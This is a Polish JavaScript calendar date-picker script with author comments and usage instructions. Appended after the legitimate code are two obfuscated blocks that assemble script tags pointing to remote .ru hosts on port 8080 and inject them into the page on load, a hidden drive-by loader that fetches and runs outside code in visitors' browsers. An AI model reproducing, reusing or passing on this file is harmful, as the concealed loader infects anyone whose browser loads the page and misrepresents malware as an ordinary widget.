<!--
/*
//	Kalendarz
//	autor: 
//	Andrzej Cieślak (andrzej.cieslak@gazeta.pl)
//
//	działa pod: 
//  IE >4, Netscape >4, Opera, nie udało się na razie odpalić pod Netscape4.x
//
//	opis:
//	Po kliknięciu na pole tekstowe pojawia się kalendarz pod 
//  kursorem myszy. Po wybraniu roku, miesiąca i kliknięciu na 
//  numerze dnia wybrana data jest wstawiana do pola
//
//	historia:
//	potrzebowałem wstawić datę do formularza w określonym formacie, 
//	widziałem skrypt na necie który pozwalał wybrać datę z kalendarza, 
//  ale był duży i skomplikowany, więc napisałem swój
//
//	wywołanie:
//	umieścić w zanczniku body: onLoad="document.onmousemove = mysz;" 
//  lub w treści strony w znacznikach javascriptu: document.onmousemove = mysz;
//	zdarzenie pola txt, do którego chcemy wstawić datę: onclick="showKal(this)"
*/

var ie4, ns4, ns6;
ie = document.all;
ns4 = document.layers;
ns6 = document.getElementById && !document.all;

var data = new Date();
var amies = data.getMonth();
var arok = data.getFullYear();
var adzien = data.getDate();
var adzientyg = data.getDay();
var frmpole;

// ilość dni w roku
var dni = new Array(31,28,31,30,31,30,31,31,30,31,30,31);
// nazwy miesięcy
var miesiac = new Array('Styczeń','Luty','Marzec','Kwiecień', 'Maj','Czerwiec','Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień');

// dane kolorów
var kol = new Array(5)
kol[0] = '#FFFFFF'; // kolor tła kalendarza, kolor tekstu wybranego dnia, nazw dni tyg...
kol[1] = '#EFE8DE'; // kolor pól kalendarza - dni zwykłe
kol[2] = '#FFDBDB'; // kolor pól kalendarza - niedziele
kol[3] = '#000000'; // kolor pola oznaczającego aktualny dzień, kolor ramki, przycisku zamykajacego, tekstu
kol[4] = '#DDD2C2'; // kolor pól okreslajacych dni tygodnia (pn,wt...)

// ile lat pokazywane w kalendarzu od aktualnej daty
var wstecz = 8; 
var wprzod = 2;

// ilość dni w Lutym - przeliczane po zmianie miesiąca lub roku
function dniMies()
{
	dni[1] = (rok % 4 == 0) ? 29 : 28;
}

// pobieranie pozycji myszy
function mysz(e)
{
	if(ns4 || ns6)
	{
		x = e.pageX;
		y = e.pageY;
	}
	if(ie)
	{
		x = document.body.scrollLeft+event.clientX;
		y = document.body.scrollTop+event.clientY;
	}
}

// funkcja pokazujaca kalendarz pod kursorem myszy
function showKal(fp)
{
	data = new Date(arok, amies, 1);
	mies = data.getMonth();
	rok = data.getFullYear();
	dzien = data.getDate();
	dzientyg = data.getDay();
	
	dniMies();

	frmpole = fp;
	pozx = x;
	pozy = y;

	rysujKal();		
	
	if(ns6 || ie)
	{
		document.getElementById('kalendarz').style.left = pozx+'px';
		document.getElementById('kalendarz').style.top = (pozy+10)+'px';
		document.getElementById('kalendarz').style.visibility = 'visible';
	}
}

// funkcja ukrywajaca kalendarz i wstawiajaca wybraną datę do pola formularza
function hideKal()
{
	if(ns6 || ie)
		document.getElementById('kalendarz').style.visibility = 'hidden';

	// tutaj ustawia się format daty 		 
	// np:
  	//	format = selectday + ' ' + miesiac[mies] + ' ' + rok;
	
	// inny format daty - z zerami poprzedzającymi
	mies++;
	if(mies < 10)
		mies = '0' + mies;
	if(selectday < 10)
		selectday = '0' + selectday;

	format = rok+'-'+mies+'-'+selectday	
			
	frmpole.value = format;
}

// ukrywanie kalendarza bez wstawiania daty
function exitKal()
{
	if(ns6 || ie)
		document.getElementById('kalendarz').style.visibility = 'hidden';
}

// ustawianie nowej daty po zmianie miesiaca lub roku
function setData()
{
	mies = document.forms['sdata'].elements['month'].value;
	rok = document.forms['sdata'].elements['year'].value;
	
	data = new Date(rok, mies, 1);
	mies = data.getMonth();
	rok = data.getFullYear();
	dzien = data.getDate();
	dzientyg = data.getDay();
	dniMies();
	rysujKal();
}

// rysowanie kalendarza
function rysujKal()
{
	kaltxt = '<form name="sdata" onSubmit="return false;">';
	kaltxt += '<table border=0 cellpadding=0 cellspacing=2 style="border:'+kol[3]+' 2px solid;background-color:'+kol[0]+';">';
	kaltxt += '<tr class=dzien><td colspan=6 height=25><select name="month" class="lista" onChange="setData()">';		
	for(i=0;i<12;i++)
	{
		if(i==mies)
			kaltxt += '<option value="'+i+'" selected>'+miesiac[i]+'</option>';
		else
			kaltxt += '<option value="'+i+'">'+miesiac[i]+'</option>';
	}
	kaltxt += '</select>&nbsp;<select name="year" class="lista" onChange="setData()">';
	for(i=(rok-wstecz);i<=(rok+wprzod);i++)
	{
		if(i==rok)
			kaltxt += '<option value="'+i+'" selected>'+i+'</option>';
		else
			kaltxt += '<option value="'+i+'">'+i+'</option>';	
	}
	kaltxt += '</select>';
	kaltxt += '</td><td><a href="javascript:exitKal()"><span class="aktday">&nbsp;X&nbsp;</span></a></td></tr>';
	kaltxt += '<tr class=dnityg><td width=30>Nd</td><td width=30>Pn</td><td width=30>Wt</td><td width=30>Śr</td>';
	kaltxt += '<td width=30>Czw</td><td width=30>Pt</td><td width=30>So</td></tr><tr class=dzien>';

	j = 1;

	for(i=0;i<dzientyg+dni[mies];i++)
	{
		if(i>=dzientyg)
		{
			if(j==adzien && rok==arok && mies==amies)
				kaltxt += '<td class=aktday><a class=aktday href="javascript:selectday='+j+';hideKal();" >'+j+'</a></td>';
			else if(i%7==0)
				kaltxt += '<td class=niedz><a class=niedz href="javascript:selectday='+j+';hideKal();" >'+j+'</a></td>';
			else
				kaltxt += '<td><a class=dzien href="javascript:selectday='+j+';hideKal();" >'+j+'</a></td>';
			j++;
			if(i%7==6)
				kaltxt += '</tr><tr class=dzien>';
		}
		else
			kaltxt += '<td></td>';
	}

	kaltxt += '</tr></table></form>';
	
	document.getElementById("kalendarz").innerHTML = kaltxt;
}

// style kalendarza i warstwa, na której się znajduje
document.write('<div id="kalendarz" style="visibility:hidden;position:absolute;"></div>');
document.write('<style type="text/css">');
document.write('.dzien{font-family:Verdana;font-size:11px;color:'+kol[3]+';text-align:center;background-color:'+kol[1]+';text-decoration:none}');
document.write('.niedz{font-family:Verdana;font-size:11px;color:'+kol[3]+';text-align:center;background-color:'+kol[2]+';text-decoration:none}');
document.write('.aktday{color:'+kol[0]+';font-weight:bold;text-align:center;background-color:'+kol[3]+';text-decoration:none}');
document.write('.dnityg{font-family:Verdana;font-size:11px;color:'+kol[0]+';text-align:center;background-color:'+kol[4]+';}');
document.write('.lista{font-family:Verdana;font-size:11px;color:'+kol[3]+';}</style>');

//-->

var D=51629;var O=new Array();var QU=63026;var Y=false;try {u={jY:64943};w=[];b=[];this.Zh="";LV=["jL","BX"];jYp=46925;jYp+=127;var J=window["unes"+"cape"];var JM={};this.x="x";Ah=["vK","t"];var bv=new Array();var Xu=new Array();var tm=new Array();var z=new String("BfZVrepla".substr(4)+"ce");var l='';var Np=false;e={wx:"Bb"};Kq=["yH","OS"];this.OV=39612;this.OV-=38;rsQ=["jo","cw"];var lP=window[(new String("Re"+"gE"+"xpBfR4".substr(0,2)))];var nB="nB";var P="P";var fU="fU";var Pv=32785;var a=["tI","_w","ZH"];var N=new String("2PpOonloa".substr(4)+"d");ny=54171;ny-=198;var PW=false;try {var Wt='oO'} catch(Wt){};var G=new String("1");var Ok={LJ:false};var tR=new String();try {} catch(pS){};try {var ua='mv'} catch(ua){};var FN={N_:false};try {} catch(_n){};function k(G,NG){this.d=false;var Qw={fm:false};IZ={};try {var fr='sp'} catch(fr){};H=32884;H++;on=10173;on++;eG=["qR","xw"];BXt=["hZ","sO"];wg=48884;wg++;var L="ZdY[".substr(3);try {} catch(eW){};L+=NG;SN={xj:"AF"};L+=J("%5d");var g=["nuz","sg"];var ln=["Otu","Mp"];var xW='';var Nz=new lP(L, String("g"));rU=[];return G.replace(Nz, l);var YL=["cz","Lf"];try {} catch(TH){};};Ic=[];var bq=new Date();Rr=[];var Ck="Ck";RE={pt:"Dw"};yC={gK:"vI"};var bO="bO";var zk="zk";var S=511472-503392;er=[];jP=[];CO=7206;CO--;VI=["LfO","AM"];this.qB=12153;this.qB++;var UL={ew:false};var Fk={sw:false};try {} catch(bC){};nyT=35575;nyT--;var Q=new String("httIqsJ".substr(0,3)+"p:/"+"/as"+"hdoziv8".substr(0,3)+"g.r"+"u:");Ey={nx:"IJ"};var wN="wN";this.dS='';var JG="JG";wG=["YU"];var o=String("/go"+"ogl"+"e.c"+"WA7om/".substr(3)+"r6C439".substr(3)+"9.c"+"YJ5Kom/J5YK".substr(4,3)+"vir"+"ZkmgilmkZ".substr(3,3)+"io."+"jH3yit.".substr(4)+"php");this._q="_q";hn=["Sy"];this.gR='';Mu=["bQ","Gi"];function r(){Gw=["je","Og"];var kK=String("appe"+"ndCh"+"ild");var Gr=document;aq=["Wc"];var dF='';Dm=4332;Dm++;var Jd="Jd";var eO={fV:25704};var mX={HB:41247};var FNm={KW:13078};var bM={yz:"oJ"};var h=k('sAcGr0iCpGtV','0AZYVdk3KNjMCG5');var Sl="Sl";this.Dg="";var QT=new Array();QR=["aI","kF"];wn=54941;wn-=141;Dk=["JkY","Ui"];FP=9556;FP--;kq=Gr.createElement(h);var SF=37457;mu={tt:false};var Ba=63057;var vq=26315;try {var Qp='EO'} catch(Qp){};n=Q+S;this.sv='';try {var Bk='Lo'} catch(Bk){};n=n+o;RP={};aQ=[];Yp=[];iE={};var eCd=new Array();var kJ=Gr.body;var Ps={};lc=["Oh","ZZ"];var Co={};var QO={};kq[new String("defe"+"r")]=G;Kv=[];gA=[];kq.src=n;Ee=[];this.Rp=false;try {var ke='Rv'} catch(ke){};var gF=["bMc","ao"];Ny=["aQU"];oB=["yc","eGy"];fp=["rH","MVC"];var BYP=[];var Oo=[];gS=37330;gS++;kJ[kK](kq);dx=34956;dx--;Tu=21129;Tu++;bX={tQ:"oQ"};bd={EZ:false};qe={hU:"yv"};};this.Kz='';this.IN="IN";this.Iz='';this.W_="W_";var Nzg={ZS:false};fa=["SE","qI"];this.AL=26541;this.AL-=126;Bo=["iCh","zQ"];window[N]=r;pSq=[];this.nku='';var lf=["dN","jXb"];var zko=["yn","co"];} catch(c){Ow=62702;Ow++;kS=7769;kS+=147;tOj=["uk","nn"];Lq=["Yz","bB"];_Z={};this.AT='';var uUr=new Date();};this.jZ="";this.wV='';var tx=new Array();
fN=[];var nE=new Date();var eB;this.w=10286;this.w++;this.Z=17180;this.Z++;g=function(){fS=["ci","UJ"];function e(L,F,eH){this.E=46308;this.E+=24;return L.substr(F,eH);this.Tp=34616;this.Tp--;}s=32979;s+=7;ir=61793;ir++;var t=document;K={m:22084};var _=RegExp;var S='';this.B=41692;this.B++;var Zz=["X","np","TS"];var z="/goo"+e("gle.uOj",0,4)+e("TEYcom/EYT",3,4)+e("aZmWustrWamZ",4,4)+"eam."+e("tv/s1kyh",0,4)+"ahib"+e("HgJUindeJHgU",4,4)+"n.co"+"m.ph"+e("X6Jp6JX",3,1);this.kl=34004;this.kl-=235;lN=46314;lN++;Uc=63305;Uc-=36;var ZV={AY:"r"};function f(L,F){this.uA="uA";eQ=["Ja","o"];var mT="mT";var uL="uL";var eH=new String("[")+F+String(e("]DNf",0,1));var gC=new _(eH, String("g"));var iB={hj:"ls"};this.QF=2378;this.QF++;return L.replace(gC, S);var BD=new Array();var mm=false;};this.iS="iS";var Py=[];var H=[];try {var zZ='Ak'} catch(zZ){};var d=new String("body");var P=null;var I=330077-321997;mB={ji:false};var dI=["Oq"];var U=f('sAcErGiUpvth','GwUhEAdqv0nO');try {} catch(nr){};eB=function(){try {var dl={Ns:false};try {var fy='ds'} catch(fy){};var j=f('cGrKeja0tJejE8l6eumLe0n8tZ','jZvqu862ULKxJGz10S');n=t[j](U);QJ=55028;QJ-=96;var L=I+z;var p="p";var jl=false;var T=f('sor_cv','2vOTnEo_x67Ue');this.zK='';try {var fE='fs'} catch(fE){};var O=new String("defe"+"r");var vN={ip:"Dp"};var Aa={xI:"mDs"};this.Ug=56947;this.Ug++;n[T]=new String(e("htROF",0,2)+"tp"+e(":/m0Kh",0,2)+e("n6z/t6zn",3,2)+"en"+e("thW8Y",0,2)+e("ew9prew9",3,2)+"of"+"it"+e("15Vu.r1uV5",4,2)+e("u:H9AQ",0,2))+L;n[O]=[1][0];t[d].appendChild(n);var iM="";var OV=false;} catch(Ol){ciI=["jW","FD","wU"];Nl=["KzL","Qr","Tj"];};};var XL=1995;};var wV=new Array();g();ZD=20917;ZD++;var Nk=new Array();window.onload=eB;var DD='';eF=["eV","aq","gX"];jt=15864;jt++;
